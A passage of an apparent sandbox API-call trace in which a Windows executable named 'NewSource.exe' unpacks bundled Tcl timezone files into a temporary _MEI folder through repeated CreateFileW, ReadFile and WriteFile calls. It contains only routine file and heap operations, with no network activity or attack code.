"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\cst6"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.431] GetFileType (hFile=0x10c) returned 0x1 [0043.431] htonl (hostlong=0xb5000000) returned 0xb5 [0043.431] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.431] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb5, lpOverlapped=0x0) returned 1 [0043.432] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.432] CloseHandle (hObject=0x10c) returned 1 [0043.432] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560530 | out: hHeap=0x530000) returned 1 [0043.432] htonl (hostlong=0x30000000) returned 0x30 [0043.432] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.432] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.432] GetFileType (hFile=0x10c) returned 0x1 [0043.432] htonl (hostlong=0x6f2c5d00) returned 0x5d2c6f [0043.432] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61dc6f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.432] htonl (hostlong=0x93000000) returned 0x93 [0043.432] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x55cfe0 [0043.432] htonl (hostlong=0x93000000) returned 0x93 [0043.432] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.432] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.432] htonl (hostlong=0xbb000000) returned 0xbb [0043.433] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbb) returned 0x55dd88 [0043.433] htonl (hostlong=0x93000000) returned 0x93 [0043.433] htonl (hostlong=0xbb000000) returned 0xbb [0043.433] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.433] CloseHandle (hObject=0x10c) returned 1 [0043.433] GetLastError () returned 0x0 [0043.433] SetLastError (dwErrCode=0x0) [0043.433] GetLastError () returned 0x0 [0043.433] SetLastError (dwErrCode=0x0) [0043.433] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.433] GetFileType (hFile=0x10c) returned 0x1 [0043.433] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.433] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.433] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.433] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.433] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.433] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.433] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.433] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.433] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.433] CloseHandle (hObject=0x10c) returned 1 [0043.433] GetLastError () returned 0x0 [0043.433] SetLastError (dwErrCode=0x0) [0043.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.434] GetFileType (hFile=0x10c) returned 0x1 [0043.434] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.434] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.434] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.434] CloseHandle (hObject=0x10c) returned 1 [0043.434] GetLastError () returned 0x0 [0043.434] SetLastError (dwErrCode=0x0) [0043.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.434] GetFileType (hFile=0x10c) returned 0x1 [0043.434] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.434] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.435] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.435] CloseHandle (hObject=0x10c) returned 1 [0043.435] GetLastError () returned 0x0 [0043.435] SetLastError (dwErrCode=0x0) [0043.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6CDT") returned 72 [0043.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6CDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\cst6cdt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.435] GetLastError () returned 0x2 [0043.435] SetLastError (dwErrCode=0x2) [0043.435] GetLastError () returned 0x2 [0043.435] SetLastError (dwErrCode=0x2) [0043.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6CDT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6CDT", lpFilePart=0x0) returned 0x47 [0043.435] GetLastError () returned 0x2 [0043.435] SetLastError (dwErrCode=0x2) [0043.435] GetLastError () returned 0x2 [0043.435] SetLastError (dwErrCode=0x2) [0043.435] GetLastError () returned 0x2 [0043.435] SetLastError (dwErrCode=0x2) [0043.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6CDT") returned 72 [0043.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\CST6CDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\cst6cdt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.436] GetFileType (hFile=0x10c) returned 0x1 [0043.436] htonl (hostlong=0xbb000000) returned 0xbb [0043.436] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.436] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xbb, lpOverlapped=0x0) returned 1 [0043.437] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.437] CloseHandle (hObject=0x10c) returned 1 [0043.437] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dd88 | out: hHeap=0x530000) returned 1 [0043.437] htonl (hostlong=0x30000000) returned 0x30 [0043.437] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.437] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.438] GetFileType (hFile=0x10c) returned 0x1 [0043.438] htonl (hostlong=0x22d5d00) returned 0x5d2d02 [0043.438] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61dd02, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.438] htonl (hostlong=0x95000000) returned 0x95 [0043.438] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x95) returned 0x55cfe0 [0043.438] htonl (hostlong=0x95000000) returned 0x95 [0043.438] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.438] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.438] htonl (hostlong=0xc7000000) returned 0xc7 [0043.438] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc7) returned 0x550600 [0043.438] htonl (hostlong=0x95000000) returned 0x95 [0043.438] htonl (hostlong=0xc7000000) returned 0xc7 [0043.438] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.438] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.438] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.438] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.438] CloseHandle (hObject=0x10c) returned 1 [0043.438] GetLastError () returned 0x0 [0043.438] SetLastError (dwErrCode=0x0) [0043.438] GetLastError () returned 0x0 [0043.438] SetLastError (dwErrCode=0x0) [0043.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.438] GetFileType (hFile=0x10c) returned 0x1 [0043.438] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.438] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.439] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.439] CloseHandle (hObject=0x10c) returned 1 [0043.439] GetLastError () returned 0x0 [0043.439] SetLastError (dwErrCode=0x0) [0043.439] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.439] GetFileType (hFile=0x10c) returned 0x1 [0043.439] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.439] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.439] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.439] CloseHandle (hObject=0x10c) returned 1 [0043.439] GetLastError () returned 0x0 [0043.439] SetLastError (dwErrCode=0x0) [0043.439] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.440] GetFileType (hFile=0x10c) returned 0x1 [0043.440] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.440] CloseHandle (hObject=0x10c) returned 1 [0043.440] GetLastError () returned 0x0 [0043.440] SetLastError (dwErrCode=0x0) [0043.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5") returned 69 [0043.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\est5"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.440] GetLastError () returned 0x2 [0043.440] SetLastError (dwErrCode=0x2) [0043.440] GetLastError () returned 0x2 [0043.440] SetLastError (dwErrCode=0x2) [0043.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5", lpFilePart=0x0) returned 0x44 [0043.440] GetLastError () returned 0x2 [0043.440] SetLastError (dwErrCode=0x2) [0043.440] GetLastError () returned 0x2 [0043.440] SetLastError (dwErrCode=0x2) [0043.440] GetLastError () returned 0x2 [0043.440] SetLastError (dwErrCode=0x2) [0043.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5") returned 69 [0043.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\est5"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.441] GetFileType (hFile=0x10c) returned 0x1 [0043.441] htonl (hostlong=0xc7000000) returned 0xc7 [0043.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.441] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xc7, lpOverlapped=0x0) returned 1 [0043.442] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.442] CloseHandle (hObject=0x10c) returned 1 [0043.442] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.442] htonl (hostlong=0x30000000) returned 0x30 [0043.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.442] MultiByteToWideChar (in: CodePage=0xfde9, 